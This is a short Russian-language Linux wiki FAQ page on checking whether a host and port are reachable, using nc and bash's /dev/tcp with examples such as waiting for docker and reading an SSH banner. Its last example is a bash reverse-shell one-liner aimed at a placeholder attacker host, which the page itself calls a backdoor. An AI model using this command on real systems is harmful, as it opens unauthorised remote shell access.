Иногда бывает нужно проверить доступность хоста по IP-адресу и порту.Проверить подключение можно с помощью nc:

nc -v ~~IP-ADDRESS~~ ~~PORT~~

А если нет nc, то есть чистая конструкцияя на bash:

printf "" 2>>/dev/null >>/dev/tcp/~~IP-ADDRESS~~/~~PORT~~ && echo "Ok" || echo "Failed"

Например, дождаться запуска сервиса (в данном случае docker) можно так:

timeout 60 bash -c 'until printf "" 2>>/dev/null >>/dev/tcp/$0/$1; do sleep 1; done' 0.0.0.0 2375

/dev/tcp - это виртуальная функция bash, то есть на самом деле такого устройства нету.
Еще примеры.
Проверить доступность ssh-сервера:

cat < /dev/tcp/127.0.0.1/22
SSH-2.0-OpenSSH_7.4

Сделать запрос на HTTP-сервер:

exec 15<>/dev/tcp/consolechars.wordpress.com/80
echo -e "GET / HTTP/1.1\n\n" >&15
cat <&15

Пробросить порт на удаленный сервер (фактически - сделать бекдор):

bash -i >& /dev/tcp/attackersip/port 0>&1
Enter your comment. Wiki syntax is allowed:
 
  • linux_faq/check_host_port_availability.txt
  • Last modified: 2022/12/12 12:26
  • by admin